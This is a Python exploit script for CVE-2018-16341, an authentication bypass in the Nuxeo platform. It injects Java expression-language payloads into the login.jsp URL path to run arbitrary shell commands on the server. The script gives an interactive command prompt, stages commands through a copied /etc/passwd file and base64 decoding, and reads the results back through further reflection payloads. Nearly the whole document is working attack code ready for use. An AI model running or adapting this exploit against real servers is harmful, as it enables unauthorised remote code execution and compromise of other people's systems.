from requests.packages.urllib3.exceptions import InsecureRequestWarning import urllib3 import requests import base64 import json import sys import re print("\nNuxeo Authentication Bypass Remote Code Execution - CVE-2018-16341\n") proxy = { } remote = 'http://127.0.0.1:8080' ARCH="UNIX" # ARCH="WIN" requests.packages.urllib3.disable_warnings(InsecureRequestWarning) urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def checkSuccess(r): if r.status_code == 200: m = re.search('login.jsp/pwn(.+?).xhtml', r.text) if m: if int(m.group(1)) == 0: print("OK") else: print("\n[-] Error") sys.exit() else: print("[-] Error status code", r.status_code) sys.exit() print("[+] Checking template injection vulnerability =>", end=' ') request1 = remote + "/nuxeo/login.jsp/pwn${-7+7}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("") while True: try: if ARCH == "UNIX": command = input("command (\033[92m" + ARCH + "\033[0m)> ") command += '>command.txt' command = base64.b64encode(command.encode('utf-8')) command_str = command.decode('utf-8') command_str = command_str.replace('/', '+') print("[+] Copy file to tmp directory =>", end=' ') request1 = remote + \ "/nuxeo/login.jsp/pwn${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"cp%20/etc/passwd%20/tmp/passwd\",null).waitFor()}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("[+] Preparing file =>", end=' ') request1 = remote + \ "/nuxeo/login.jsp/pwn${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"sed%20-i%201cpwn%20/tmp/passwd\",null).waitFor()}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("[+] Cleaning temp file =>", end=' ') request1 = remote + \ "/nuxeo/login.jsp/pwn${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"sed%20-i%20/[^pwn]/d%20/tmp/passwd\",null).waitFor()}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("[+] Writing command into temp file =>", end=' ') request1 = remote + '/nuxeo/login.jsp/pwn${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("sed%20-i%201s/pwn/{echo,' + \ command_str + \ '}|{base64,-d}>pwn.txt/g%20/tmp/passwd",null).waitFor()}.xhtml' r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("[+] Decode base64 command =>", end=' ') request1 = remote + \ "/nuxeo/login.jsp/pwn${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"bash%20/tmp/passwd\",null).waitFor()}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) checkSuccess(r) print("[+] Executing command =>", end=' ') request1 = remote + \ "/nuxeo/login.jsp/pwn${\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\",null).invoke(null,null).exec(\"bash%20pwn.txt\",null).waitFor()}.xhtml" r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) if r.status_code == 200: m = re.search('login.jsp/pwn(.+?).xhtml', r.text) if m: if int(m.group(1)) == 0: print("OK") else: print("KO", str(m.group(1))) # sys.exit() else: print("KO") sys.exit() print("[+] Getting command result =>\n") burp0_url = remote + '/nuxeo/login.jsp/pwn${"".getClass().forName("java.io.BufferedReader").getDeclaredMethod("readLine").invoke("".getClass().forName("java.io.BufferedReader").getConstructor("".getClass().forName("java.io.Reader")).newInstance("".getClass().forName("java.io.InputStreamReader").getConstructor("".getClass().forName("java.io.InputStream")).newInstance("".getClass().forName("java.lang.Process").getDeclaredMethod("getInputStream").invoke("".getClass().forName("java.lang.Runtime").getDeclaredMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null),"base64%20-w%200%20command.txt")))))}.xhtml' r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False) if r.status_code == 200: m = re.search('login.jsp/pwn(.+?).xhtml', r.text) if m: print(base64.b64decode(m.group(1)).decode('utf-8')) else: print("\n[-] Error") else: print("[-] Error status code", r.status_code) sys.exit() else: command = input("command (\033[94m" + ARCH + "\033[0m)> ") print('') print("[+] Executing command =>\n") request1 = remote + '/nuxeo/login.jsp/pwn${"".getClass().forName("java.io.BufferedReader").getDeclaredMethod("readLine").invoke("".getClass().forName("java.io.BufferedReader").getConstructor("".getClass().forName("java.io.Reader")).newInstance("".getClass().forName("java.io.InputStreamReader").getConstructor("".getClass().forName("java.io.InputStream")).newInstance("".getClass().forName("java.lang.Process").getDeclaredMethod("getInputStream").invoke("".getClass().forName("java.lang.Runtime").getDeclaredMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null),"' + command + '")))))}.xhtml' r = requests.get(request1, proxies=proxy, verify=False, allow_redirects=False) if r.status_code == 200: m = re.search('login.jsp/pwn(.+?).xhtml', r.text) if m: print(m.group(1)) print('') else: print("KO") sys.exit() except KeyboardInterrupt: print("Exiting...") break